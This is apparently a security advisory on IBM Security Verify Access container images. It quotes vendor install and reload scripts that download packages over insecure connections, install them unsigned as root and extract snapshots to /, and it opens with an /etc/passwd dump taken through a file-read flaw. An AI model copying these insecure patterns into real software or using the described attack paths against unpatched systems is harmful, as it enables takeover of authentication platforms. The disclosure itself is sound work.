0x0180: 7362 696e 2f6e 6f6c 6f67 696e 0a6f 7065 sbin/nologin.ope
0x0190: 7261 746f 723a 783a 3131 3a30 3a6f 7065 rator:x:11:0:ope
0x01a0: 7261 746f 723a 2f72 6f6f 743a 2f73 6269 rator:/root:/sbi
0x01b0: 6e2f 6e6f 6c6f 6769 6e0a 6761 6d65 733a n/nologin.games:
0x01c0: 783a 3132 3a31 3030 3a67 616d 6573 3a2f x:12:100:games:/
0x01d0: 7573 722f 6761 6d65 733a 2f73 6269 6e2f usr/games:/sbin/
0x01e0: 6e6f 6c6f 6769 6e0a 6674 703a 783a 3134 nologin.ftp:x:14
0x01f0: 3a35 303a 4654 5020 5573 6572 3a2f 7661 :50:FTP.User:/va
0x0200: 722f 6674 703a 2f73 6269 6e2f 6e6f 6c6f r/ftp:/sbin/nolo
0x0210: 6769 6e0a 6e6f 626f 6479 3a78 3a36 3535 gin.nobody:x:655
0x0220: 3334 3a36 3535 3334 3a4b 6572 6e65 6c20 34:65534:Kernel.
0x0230: 4f76 6572 666c 6f77 2055 7365 723a 2f3a Overflow.User:/:
0x0240: 2f73 6269 6e2f 6e6f 6c6f 6769 6e0a 6973 /sbin/nologin.is
0x0250: 616d 3a78 3a36 3030 303a 3630 3030 3a3a am:x:6000:6000::
0x0260: 2f68 6f6d 652f 6973 616d 3a2f 6269 6e2f /home/isam:/bin/
0x0270: 6261 7368 0a69 766d 6772 3a78 3a36 3030 bash.ivmgr:x:600
0x0280: 313a 3630 3031 3a41 6363 6573 7320 4d61 1:6001:Access.Ma
0x0290: 6e61 6765 7220 5573 6572 3a2f 6f70 742f nager.User:/opt/
0x02a0: 506f 6c69 6379 4469 7265 6374 6f72 3a2f PolicyDirector:/
0x02b0: 6269 6e2f 6661 6c73 650a 7469 766f 6c69 bin/false.tivoli
0x02c0: 3a78 3a36 3030 323a 3630 3032 3a4f 776e :x:6002:6002:Own
0x02d0: 6572 206f 6620 5469 766f 6c69 2043 6f6d er.of.Tivoli.Com
[...]
An attacker can read any file located in the instance - the DSC server will send any file specified in the payload to an attacker-controlled HTTP server.
An attacker with the dsc-client SSL certificate can exfiltrate any sensitive information from the instance.
It was observed that the Docker images verify-access-dsc ,verify-access-runtime and verify-access-wrp use insecure communications to download several rpm and zip files that will then be installed or decompressed as root.
The /usr/sbin/install_isva.sh
script contains insecure downloading of rpm files and zip files. These rpm files will then be installed as root.
An attacker located on the network can inject malicious rpm or zip files into the authentication platform and take control over the entire authentication platform.
There are 3 different /usr/sbin/install_isva.sh
scripts found in these images but they share the same vulnerable code:
kali-docker# sha256sum **/install_isva.sh
1c851f579baeda9d3c11e7721aaa5960dc6a3d6b052bcc8a46979d0634e31892 _verify-access-dsc.tar/787d9cec79e27fccd75a56b7101b39da38161f9d3749d6d0fd7cfcc8252aca34/usr/sbin/install_isva.sh
00f2ca8ad004af9c9e16b6cfdf480dcdb52dc36c7ff64df2bcc34495f6a9ae8d _verify-access-runtime.tar/694cb5f84eff9a4b0aac37a4bd9f65116051953f3aee5e4e998af5938e684a5e/usr/sbin/install_isva.sh
8a59d7f89c6d587d9b764b9e4748cf0d20d406f65433a813464b32a13745f6da _verify-access-wrp.tar/937031a6ab4bc7bd504dcbee8d242f181e904c1722489077cf468daae176e2da/usr/sbin/install_isva.sh
Vulnerable code in verify-access-dsc - download over HTTP or without checking the SSL certificate (lines 24, 60 and 82) and installation of packages as root without checking the signatures (line 76):
Content of /usr/sbin/install_isva.sh
in verify-access-dsc:
22 files=/root/files.txt 23 24 curl -k ${WEBSERVER}/ -o $files [...] 38 # 39 # Install each of our RPMs. 40 # 41 42 pkgs="gskcrypt64 \ 43 gskssl64 \ 44 Base-ISVA \ 45 idsldap-license64 \ 46 idsldap-cltbase64 \ 47 idsldap-clt64bit64 \ 48 Pdlic-PD \ 49 TivSecUtl-TivSec \ 50 PDRTE-PD \ 51 PDWebRTE-PD \ 52 PDWebDSC-PD" 53 54 for pkg in $pkgs; do 55 echo "Installing $pkg" 56 57 # Download and install the file. 58 rpm_file=`locate_rpm_file $pkg` 59 60 curl -fail -s -k ${WEBSERVER}/$rpm_file -o /root/$rpm_file [...] 76 rpm -i $extra_args /root/$rpm_file [...] 78 # Download the include file and delete all files not included in the file. 79 include=`rpm -qp /root/$rpm_file --qf "%{NAME}.include"` 80 include_file=/root/$include 81 82 set +e; curl --fail -s -k ${WEBSERVER}/$include -o $include_file; rc=$?; set -e 83 84 if [ $rc -eq 0 -a -f $include_file ] ; then 85 # Convert the include file to be regular expression based instead of 86 # glob based. 87 sed -i "s|\*|.*|g" $include_file 88 89 for entry in `rpm -ql /root/$rpm_file | grep -xvf $include_file`; do 90 if [ -f $entry ] ; then 91 rm -f $entry 92 fi 93 done 94 fi
The code in verify-access-wrp is also very similar and shares the same vulnerabilities.
Vulnerable code in verify-access-runtime - same vulnerability in /usr/sbin/install_isva.sh
with an additional vulnerability with the insecure download, due to the -k
option on line 117 (alias to --insecure
) and extraction of zip files as root in line 119:
28 files=/root/files.txt 29 30 curl -k ${WEBSERVER}/ -o $files [...] 41 pkgs="gskcrypt64 \ 42 gskssl64 \ 43 Base-ISVA \ 44 PDlic-PD \ 45 TivSecUtl-TivSec \ 46 PDRTE-PD \ 47 PDWebWAPI-PD \ 48 PDWebDSC-PD \ 49 VerifyAccessRuntimeFeatures \ 50 MesaConfig \ 51 FIM \ 52 RBA" 53 54 for pkg in $pkgs; do 55 echo "Installing $pkg" 56 57 # Download and install the file. 58 rpm_file=`locate_rpm_file $pkg` 59 60 curl --fail -s -k ${WEBSERVER}/$rpm_file -o /root/$rpm_file [...] 78 rpm -i $extra_args /root/$rpm_file 79 80 # Download the include file and delete all files not included in the file. 81 include=`rpm -qp /root/$rpm_file --qf "%{NAME}.include"` 82 include_file=/root/$include 83 84 set +e; curl --fail -s -k ${WEBSERVER}/$include -o $include_file; rc=$?; set -e 85 86 if [ $rc -eq 0 -a -f $include_file ] ; then 87 # Convert the include file to be regular expression based instead of 88 # glob based. 89 sed -i "s|\*|.*|g" $include_file 90 91 for entry in `rpm -ql /root/$rpm_file | grep -xvf $include_file`; do 92 if [ -f $entry ] ; then 93 rm -f $entry 94 fi 95 done 96 fi [...] 108 zips="\ 109 com.ibm.tscc.rtss.wlp.zip:/opt/rtss \ 110 com.ibm.isam.common.eclipse.wlp.zip:/opt/IBM \ 111 pdjrte-0.0.0-0.zip:/opt" 112 113 for entry in $zips; do 114 zip=`echo $entry | cut -f 1 -d ':'` 115 dst=`echo $entry | cut -f 2 -d ':'` 116 117 curl --fail -s -k ${WEBSERVER}/$zip -o /root/$zip 118 mkdir -p $dst 119 unzip -q /root/$zip -d $dst 120 121 rm -f /root/$zip 122 done
It was observed that the Docker image verify-access-runtime insecurely downloads zip files.
An attacker located on the network can inject malicious zip files into the platform and take control over the entire platform.
The /usr/sbin/install_java_liberty.sh
script contains insecure downloading of zip files. These zip files will then be extracted as root into the /opt/java
, /opt/ibm
, /opt/oracle/jdbc
and /opt/IBM/db2
directories, providing WebSphere Liberty binaries (that will then be used to provide executable code).
It is also possible to remotely delete any file as root (lines 61 to 65).
Vulnerable code in /usr/sbin/install_java_liberty.sh
:
14 web_files=/root/files.txt 15 16 locate_file() 17 { 18 grep "$1" $web_files | cut -f 2 -d '"' 19 } 20 curl -k ${WEBSERVER}/ -o $web_files 21 [...] 29 # 30 # Install each of our zip files. 31 # 32 33 zips="\ 34 ibm-semeru-open-jre_x64_linux_11.*.tar.gz:/opt/java \ 35 liberty.*.zip:/opt/ibm \ 36 oracle_jdbc_.*.zip:/opt/oracle/jdbc \ 37 ibm-db2-jdbc.*.tar.gz:/opt/IBM/db2" 38 39 for entry in $zips; do 40 zip=`echo $entry | cut -f 1 -d ':'` 41 dst=`echo $entry | cut -f 2 -d ':'` 42 43 # Download and install the file. 44 zip_file=`locate_file $zip` 45 46 curl --fail -s -k ${WEBSERVER}/$zip_file -o /root/$zip_file 47 48 mkdir -p $dst 49 50 set +e; echo $zip | grep -q .zip; rc=$?; set -e 51 if [ $rc -eq 0 ] ; then 52 unzip -q /root/$zip_file -d $dst 53 exclude=`echo $zip_file | sed "s|.zip|.exclude|g"` 54 else 55 tar -x -C $dst -f /root/$zip_file 56 exclude=`echo $zip_file | sed "s|.tar.gz|.exclude|g"` 57 fi 58 59 exclude_file=/root/$exclude 60 61 set +e; curl --fail -s -k ${WEBSERVER}/$exclude -o $exclude_file; rc=$?; set -e 62 63 if [ $rc -eq 0 -a -s $exclude_file ] ; then 64 cd $dst 65 cat $exclude_file | xargs rm -rf 66 fi
It was observed that the Docker images verify-access-dsc, verify-access-runtime and verify-access-wrp use insecure CentOS repositories:
An attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious RPMs and take control over the entire platform.
The /usr/sbin/install_system.sh
script in these 3 images will enable 4 remote repositories over HTTP and will disable the check of signature of the downloaded packages from these repositories:
31 centos_repo_file="/etc/yum.repos.d/centos.repo"
32
33 cat <<EOT >> $centos_repo_file
34 [CentOS-8_base]
35 name = CentOS-8 - Base
36 baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os
37 gpgcheck = 0
38 enabled = 1
39
40 [CentOS-8_appstream]
41 name = CentOS-8 - AppStream
42 baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os
43 gpgcheck = 0
44 enabled = 1
45 EOT
[...]
98 #
99 # Enable install of the busybox RPM from the Fedora repository.
100 #
101
102 fedora_repo_file="/etc/yum.repos.d/fedora.repo"
103
104 cat <<EOT >> $fedora_repo_file
105 [fedora]
106 name=Fedora
107 metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-33&arch=x86_64
108 enabled=1
109 gpgcheck=0
110
111 [fedora-updates]
112 name=Fedora Updates
113 metalink=https://mirrors.fedoraproject.org/metalink?repo=updates-released-f33&arch=x86_64
114 enabled=1
115 gpgcheck=0
116 EOT
It was confirmed that this configuration appears in the verify-access-runtime instance in the live system:
[root@container-01]# for i in $(podman ps | grep -v NAMES | awk '{ print $1 }'); do podman ps | grep $i; podman exec -it $i cat /etc/yum.repos.d/centos.repo;echo;done
4262005f3646 ibmcom/verify-access/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:7443->9443/tcp verify-access
cat: /etc/yum.repos.d/centos.repo: No such file or directory
c930c46acd66 ibmcom/verify-access-runtime/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:9443->9443/tcp verify-access-runtime
name = CentOS-8 - Base
baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os
gpgcheck = 0
enabled = 1
[CentOS-8_appstream]
name = CentOS-8 - AppStream
baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os
gpgcheck = 0
enabled = 1
48f1b1e8f782 ibmcom/verify-access-dsc/10.0.4.0:20221006.1 7 hours ago Up 7 hours ago (healthy) 0.0.0.0:8443-8444->8443-8444/tcp verify-access-dsc
cat: /etc/yum.repos.d/centos.repo: No such file or directory
[root@container-01]#
Furthermore, the script /usr/sbin/install_system.sh
will insecurely download programs and install them as root, using the previous insecure repositories:
48 # Install tools required for container build process. 49 # 50 51 microdnf -y install unzip shadow-utils jansson openssl libxslt \ 52 libnsl2 gzip cpio tar [...] 55 # We have an issue where RedHat periodically introduces a dependency on 56 # openssl-pkcs11. We don't actually need this package and so we manually remove 57 # it if it has been installed. 58 # 59 60 if [ `rpm -q -a | grep openssl-pkcs11 | wc -l` -ne 0 ] ; then 61 rpm --erase openssl-pkcs11 62 fi [...] 70 rpms="" 71 for lang in en cs de es fi fr hu it ja ko nl pl pt ru zh; do 72 rpms="$rpms glibc-langpack-$lang" 73 done [...] 122 microdnf -y install busybox
It was observed that the Docker images verify-access-runtime and verify-access-wrp use a third-party repository configuration, obtained when retrieving the external file at https://repo.symas.com/configs/SOFL/rhel8/sofl.repo
:
Content of /usr/sbin/install_system.sh
:
47 # 48 # Install OpenLDAP. This is no longer provided by CentOS. 49 # 50 51 sofl_repo_file="/etc/yum.repos.d/sofl.repo" 52 53 curl https://repo.symas.com/configs/SOFL/rhel8/sofl.repo \ 54 -o $sofl_repo_file
It was confirmed that this configuration appears in the verify-access-runtime instance in the live system:
[isam@verify-access-runtime /]$ cat /etc/yum.repos.d/sofl.repo
[sofl]
name=Symas OpenLDAP for Linux RPM repository
baseurl=https://repo.symas.com/repo/rpm/SOFL/rhel8
gpgkey=https://repo.symas.com/repo/gpg/RPM-GPG-KEY-symas-com-signing-key
gpgcheck=1
enabled=1
[isam@verify-access-runtime /]$
When reading the /usr/sbin/install_system.sh
script, this repository is used to install an additional package, without checking the signature:
58 # 59 # We want to manually install the openldap server RPM as microdnf pulls 60 # in a whole heap of dependencies which we don't require. 61 # 62 63 baseurl=`grep baseurl $sofl_repo_file | cut -f 2 -d '='`/x86_64 64 version=`rpm -q --qf "%{VERSION}-%{RELEASE}" symas-openldap` 65 rpmfile=/tmp/openldap.rpm 66 67 curl $baseurl/symas-openldap-servers-$version.x86_64.rpm -o $rpmfile 68 69 rpm -i --nodeps $rpmfile 70 71 rm -f $rpmfile
There is a potential supply-chain attack and this dependency is not documented.
It was observed that the Docker image verify-access-runtime uses a highly insecure /usr/sbin/install_system.sh
script.
With the 2 previous vulnerabilities already explained in Additional repository configuration (potential supply-chain attack) and Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh), this version adds 2 new vulnerabilities:
/usr/share/java/postgresql-jdbc/postgresql.jar
using a postgresql.jar file directly retrieved over HTTP (line 99) and with -k
(aka --insecure
).Content of /usr/sbin/install_system.sh
:
73 # 74 # For the postgresql packages we need to download and install manually so 75 # that we don't also pull in all of the unnecessary dependencies. 76 # 77 78 centos_base=http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/ 79 80 rpms=/tmp/rpms.txt 81 82 curl http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/ -o $rpms 83 84 for pkg in postgresql-12 postgresql-server-12 postgresql-jdbc-42; do 85 rpm_file=`grep $pkg $rpms | tail -n 1 | \ 86 sed 's|.*href="||g' | cut -f 1 -d '"'` 87 88 echo "Installing: $rpm_file" 89 90 rpm -i --nodeps $centos_base/$rpm_file 91 done 92 93 rm -f $rpms 94 95 # 96 # Need a more current jar then what is part of the postges-jdbc rpm 97 # 98 postgres_jar=`locate_file postgresql-.*.jar` 99 curl -kv ${WEBSERVER}/$postgres_jar -o /usr/share/java/postgresql-jdbc/postgresql.jar
An attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious rpm or a malicious .jar file and take control over the entire platform.
Note that IBM does not consider this vulnerability since the script is supposed to be executed in a secure network.
It was observed that the Docker image verify-access-runtime uses a highly insecure reload script.
An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform.
This script is defined at the end of the /usr/sbin/install_system.sh
script:
Content of /usr/sbin/install_system.sh
in verify-access-runtime:
239 # 240 # Ensure that the reload script is executable. 241 # 242 243 mv /sbin/reload.sh /sbin/runtime_reload 244 245 chmod 755 /sbin/runtime_reload
Analysis of /sbin/runtime_reload
:
The function download_from_cfgsvc()
is insecure as the curl command uses the -k
option (as known as --insecure
) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the -k
option.
We can also see that Postgres does not have passwords in line 144, already found in Lack of authentication in Postgres inside verify-access-runtime.
67 ############################################################################# 68 # Attempt to download the snapshot from the configuration service. 69 70 download_from_cfgsvc() 71 { 72 # No need to download the snapshot if the configuration service has not 73 # been defined. 74 if [ -z "$CONFIG_SERVICE_URL" ] ; then 75 return 76 fi 77 78 if [ $1 -eq 1 ] ; then 79 Echo 960 80 fi 81 82 curl -k -s --fail -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \ 83 "$CONFIG_SERVICE_URL/snapshots/`basename $snapshot`?type=File" \ 84 -o $snapshot 85 86 if [ $? -ne 0 ] ; then 87 if [ $1 -eq 1 ] ; then 88 Echo 961 89 fi 90 91 rm -f $snapshot 92 else 93 Echo 962 94 fi 95 } [...] 97 ############################################################################# 98 # Main line. 99 100 # 101 # Download the snapshot file. 102 # 103 104 download_from_cfgsvc 1 [...] 127 # 128 # Update the configuration database. 129 # 130 131 Echo 997 132 133 db_root=/var/postgresql/config 134 db_snapshot=$db_root/snapshot.sql 135 db_port=5432 136 db_name=config 137 db_user=www-data 138 139 if [ ! -f $db_snapshot ] ; then 140 Echo 975 141 exit 1 142 fi 143 144 psql -U $db_user -d $db_name -p $db_port -f $db_snapshot -q -b -w
It was observed that the Docker image verify-access-wrp uses a highly insecure reload script.
An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform. He can also overwrite any file present in the verify-access-wrp docker instance (getting a Remote Code Execution).
This script is defined at the end of the /usr/sbin/install_system.sh
script:
Content of /usr/sbin/install_system.sh
in verify-access-wrp:
210 # 211 # Ensure that the restart script is executable. 212 # 213 214 mv /sbin/restart.sh /sbin/wrprestart 215 216 chmod 755 /sbin/wrprestart
Analysis of /sbin/wrprestart
:
The function download_from_cfgsvc()
is insecure as the curl command uses the -k
option (as known as --insecure
) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the -k
option.
The openldap.zip
file found in the malicious snapshot file will then be decrypted using a previously found hardcoded key and extracted into the /
directory (line 154 and 156) and openldap will be restarted with the new configuration file, allowing an attacker to get a Remote Code Execution by specifying a malicious slapd.conf
file (stored inside openldap.zip
, in etc/openldap/slapd.conf
).
Since the extraction of openldap.zip
takes place in /
, it is also possible to overwrite any file as root (and get Remote Code Execution, e.g. by replacing a program).
85 ############################################################################# 86 # Attempt to download the snapshot from the configuration service. 87 88 download_from_cfgsvc() 89 { 90 # No need to download the snapshot if the configuration service has not 91 # been defined. 92 if [ -z "$CONFIG_SERVICE_URL" ] ; then 93 return 94 fi 95 96 if [ $1 -eq 1 ] ; then 97 Echo 960 98 fi 99 100 curl -k -s --fail -u "$CONFIG_SERVICE_USER_NAME:$CONFIG_SERVICE_USER_PWD" \ 101 "$CONFIG_SERVICE_URL/snapshots/`basename $snapshot`?type=File" \ 102 -o $snapshot 103 104 if [ $? -ne 0 ] ; then 105 if [ $1 -eq 1 ] ; then 106 Echo 961 107 fi 108 109 rm -f $snapshot 110 else 111 Echo 962 112 fi 113 } [...] 137 ############################################################################# 138 # Process the OpenLDAP configuration and then restart the OpenLDAP server. 139 140 restart_openldap_server() 141 { 142 # Check to see whether the embedded LDAP server has been enabled or 143 # not. 144 ldap_conf="/var/PolicyDirector/etc/ldap.conf" 145 ldap_host=`$pdconf -f $ldap_conf getentry ldap host` 146 147 if [ "$ldap_host" != "127.0.0.1" ] ; then 148 return 149 fi 150 151 Echo 964 152 153 # Decrypt and extract the LDAP configuration. 154 isva_decrypt $snapshot_tmp_dir/openldap.zip 155 156 unzip -q -o $snapshot_tmp_dir/openldap.zip -d / 157 158 # Change the LDAP port from 389 to 6389 (389 is a privileged port). 159 $pdconf -f $ldap_conf setentry ldap port 6389 160 161 # Stop the LDAP server. 162 busybox killall -SIGHUP slapd 163 164 while $(busybox killall -0 slapd 2>/dev/null); do 165 sleep 1 166 done 167 168 # Start the LDAP server. 169 slapd -4 -f /etc/openldap/slapd.conf -h ldap://127.0.0.1:6389 -s 0 170 } [...] 260 ############################################################################# 261 # Main line. 262 263 # 264 # Attempt to download the configuration data from the configuration service. 265 # 266 267 # 268 # Wait for the snapshot file. 269 # 270 271 download_from_cfgsvc 1 [...] 305 # 306 # Restart the OpenLDAP server. 307 # 308 309 restart_openldap_server
It was observed that the ibmcom/verify-access Docker image contains a hardcoded private key used by the license client iss-lum:
kali-docker# pwd
/home/user/ibmcom/_verify-access.tar/698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/etc/lum
kali-docker# ls -al
total 492
drwxr-xr-x 2 root root 4096 Jun 8 01:43 .
drwxr-xr-x 25 root root 4096 Jun 8 04:09 ..
-rwxr-xr-x 1 root root 1296 Oct 20 2016 externalTrustSettings.xml
-rwxr-xr-x 1 root root 445080 Oct 20 2016 iss-external.kdb
-rwxr-xr-x 1 root root 129 Oct 20 2016 iss-external.sth
-rwxr-xr-x 1 root root 100 Oct 20 2016 iss-lum.conf
-rwxr-xr-x 1 root root 3649 Oct 20 2016 isslum-usLocalSettings.xml
-rwxr-xr-x 1 root root 725 Oct 20 2016 lum_triggers.conf
-rwxr-xr-x 1 root root 1858 Oct 20 2016 private.pem
-rwxr-xr-x 1 root root 451 Oct 20 2016 public.pem
-rwxr-xr-x 1 root root 3926 Oct 20 2016 .udrc
-rwxr-xr-x 1 root root 806 Oct 20 2016 update-settings.conf
-rwxr-xr-x 1 root root 7352 Oct 20 2016 update-status.xsd
-rwxr-xr-x 1 root root 561 Jun 8 01:32 UpdateTypeNames.config
-rwxr-xr-x 1 root root 0 Dec 31 1969 .wh..wh..opq
kali-docker# sha256sum private.pem public.pem
e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d private.pem
3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20 public.pem
When analyzing the podman instance verify-access, we can confirm the key has not been updated:
[isam@verify-access lum]$ sha256sum private.pem public.pem
e1ecbd519ef838861cb0fe5e5daad88f90b9b2c154a936daf7f08855039b0c1d private.pem
3a6bbfef0af62c277cbe7b7fbc061b6a11b01e9ff61bba7bfe7edcaaeae3cd20 public.pem
[isam@verify-access lum]$
The private key appears to be used by several programs:
The license client is using outdated codes and may contain vulnerabilities.
The keys are hardcoded and have not been updated for 6 years, which brings a question how the license client is being maintained.
It was observed that the dcatool
program located in /opt/dca/bin
is linked with an outdated OpenSSL library located in the non-standard directory /opt/dca/lib
:
From a live system:
[isam@verify-access bin]$ pwd
/opt/dca/bin
[isam@verify-access bin]$ ls -la
total 580
drwxr-xr-x 2 root root 4096 Jun 8 13:43 .
drwxr-xr-x 4 root root 4096 Jun 8 13:43 ..
-rwxr-xr-x 1 root root 373208 Jun 8 13:31 dcatool
-rwxr-xr-x 1 root root 207872 Jun 8 13:31 dcaupdate
[isam@verify-access bin]$ ldd dcatool | grep ssl
libssl.so.10 => /opt/dca/lib/libssl.so.10 (0x00007fafcfb1e000)
libssl.so.1.1 => /lib64/libssl.so.1.1 (0x00007fafcda45000)
[isam@verify-access bin]$ ldd dcaupdate | grep ssl
libssl.so.10 => /opt/dca/lib/libssl.so.10 (0x00007fe04980d000)
libssl.so.1.1 => /lib64/libssl.so.1.1 (0x00007fe047734000)
Analysis of the library:
[isam@verify-access lib]$ pwd
/opt/dca/lib
[isam@verify-access lib]$ ls -la
total 4156
drwxr-xr-x 2 root root 4096 Jun 8 13:43 .
drwxr-xr-x 4 root root 4096 Jun 8 13:43 ..
-rwxr-xr-x 1 root root 1252080 Jun 8 13:31 libboost_regex.so.1.53.0
-rwxr-xr-x 1 root root 2521496 Jun 8 13:31 libcrypto.so.10
lrwxrwxrwx 1 root root 24 Jun 8 13:43 libicudata.so.54 -> /usr/lib64/libicudata.so
lrwxrwxrwx 1 root root 24 Jun 8 13:43 libicui18n.so.54 -> /usr/lib64/libicui18n.so
lrwxrwxrwx 1 root root 22 Jun 8 13:43 libicuuc.so.54 -> /usr/lib64/libicuuc.so
-rwxr-xr-x 1 root root 470328 Jun 8 13:31 libssl.so.10
[isam@verify-access lib]$ sha256sum *so*
a4b9594f78c0e5cfa14c171e07ae439dccd0ef990db8c4b155c68fde43a8d9a9 libboost_regex.so.1.53.0
8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c libcrypto.so.10
07796e84fc3618a64259cfff7a896e57fc90f6b270d690d953f4792c2b7e21ac libicudata.so.54
49e6f6b12d118118c7d17cec26f80c81b39c89ea01a30eaf26abb07859d909fe libicui18n.so.54
1504c73f432bc24414c0ca69d29bdb04c04ba2269b752c320306cb25aadd5972 libicuuc.so.54
523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0 libssl.so.10
[isam@verify-access lib]$
We can retrieve these 2 libraries inside the ibmcom/verify-access
image and identify the version of OpenSSL:
kali-docker# sha256sum **/libssl.so.10
523ad80dd3cd9afe19bbb83eb22b11ba43b0dc907a3893a38569023ef7b382f0 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10
kali-docker# sha256sum **/libcrypto.so.10
8db48d5bcf1ddf6a8a4033de04827288b33af36d246c73ba46041365a61c697c 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10
kali-docker# kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libcrypto.so.10|grep -i openssl
[...][
OpenSSL 1.0.2k-fips 26 Jan 2017
[...]
kali-docker# strings 698cf9c0c7bb644159c92ba42d86417dd09694093db2eaf8875885e5ddd62fcc/opt/dca/lib/libssl.so.10|grep -i openssl
OpenSSL 1.0.2k-fips 26 Jan 2017
[...]
The libraries located in /opt/dca/lib
are completely outdated and are vulnerable to known CVEs.
These libraries are likely used by IBM-specific programs.
The Docker images contain known vulnerabilities.
It was observed that the /usr/sbin/iss-lum
program from the verify-access Docker image contains outdated OpenSSL code (from the library 0.9.7) from 2007. The iss-lum program is the license client that will connect to external servers.
This program runs inside the instance:
[isam@verify-access /]$ ps -auxw USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND isam 1 0.0 0.0 12060 132 ? Ss Oct04 0:00 /bin/sh /sbin/bootstrap.sh isam 313 0.0 0.0 24532 68 ? Ss Oct04 0:00 /usr/sbin/mesa_crashd isam 315 0.1 0.0 24532 1032 ? S Oct04 1:57 /usr/sbin/mesa_crashd isam 319 0.0 0.0 69160 144 ? Ss Oct04 0:00 /usr/sbin/mesa_syslogd isam 321 0.0 0.0 69224 1280 ? S Oct04 0:00 /usr/sbin/mesa_syslogd isam 400 0.0 0.0 102760 200 ? Ss Oct04 0:00 /usr/sbin/mesa_eventsd -m 1000 isam 401 0.0 0.0 710856 316 ? Sl Oct04 0:00 /usr/sbin/mesa_eventsd -m 1000 pgresql 435 0.0 0.0 188380 7016 ? Ss Oct04 0:02 /usr/bin/postgres -D /var/postgresql/config/data pgresql 436 0.0 0.0 138892 184 ? Ss Oct04 0:00 postgres: logger pgresql 447 0.0 0.0 188380 1600 ? Ss Oct04 0:00 postgres: checkpointer pgresql 448 0.0 0.0 188516 1288 ? Ss Oct04 0:01 postgres: background writer pgresql 449 0.0 0.0 188380 1468 ? Ss Oct04 0:01 postgres: walwriter pgresql 450 0.0 0.0 189112 1864 ? Ss Oct04 0:01 postgres: autovacuum launcher pgresql 451 0.0 0.0 139024 588 ? Ss Oct04 0:05 postgres: stats collector pgresql 452 0.0 0.0 188916 1016 ? Ss Oct04 0:00 postgres: logical replication launcher www-data 548 0.4 4.8 4920352 387128 ? SLl Oct04 7:53 /opt/java/jre/bin/java -javaagent:/opt/IBM/wlp/bin/tools/ws-javaagent.jar -Djava.awt.headless=true -Djdk.attach.allowAttachSelf=true -Dcom.sun.jndi.ldap.object.disableEndpointIdentification=true -Djava.security.properties=/opt/IBM/wlp/usr/servers/default/java.security -Dcom.ibm.ws.logging.log.directory=/var/application.logs.local/lmi -Xbootclasspath/a:/opt/pdjrte/java/export/rgy/com.tivoli.pd.rgy.jar:/opt/ibm/wlp/usr/servers/runtime/lib/global/xercesImpl.jar -Dorg.osgi.framework.system.packages.extra=com.tivoli.pd.rgy,com.tivoli.pd.rgy.authz,com.tivoli.pd.rgy.exception,com.tivoli.pd.rgy.ldap,com.tivoli.pd.rgy.nls,com.tivoli.pd.rgy.util,com.ibm.misc,com.ibm.net.ssl.www2.protocol.https,com.sun.jndi.ldap,org.apache.xml.serialize -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 --add-exports java.base/sun.security.action=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.ldap=ALL-UNNAMED --add-exports java.naming/com.sun.jndi.url.ldap=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens java.naming/javax.naming.spi=ALL-UNNAMED --add-opens jdk.naming.rmi/com.sun.jndi.url.rmi=ALL-UNNAMED --add-opens java.naming/javax.naming=ALL-UNNAMED --add-opens java.rmi/java.rmi=ALL-UNNAMED --add-opens java.sql/java.sql=ALL-UNNAMED --add-opens java.management/javax.management=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/java.awt.image=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED -jar /opt/IBM/wlp/bin/tools/ws-server.jar default --clean isam 748 0.0 0.0 270992 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd slapdw -log_file /var/application.logs.local/verify_access_runtime/user_registry/msg__user_registry.log /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap ldap 753 0.0 4.3 1314228 346548 ? Sl Oct04 0:00 /usr/sbin/slapd -d 0 -s 0 -h ldap://127.0.0.1:389 ldaps://127.0.0.1:636 -f /etc/openldap/slapd.conf -u ldap -g ldap isam 757 0.0 0.0 271124 8 ? Ssl Oct04 0:02 /usr/sbin/wga_watchdogd 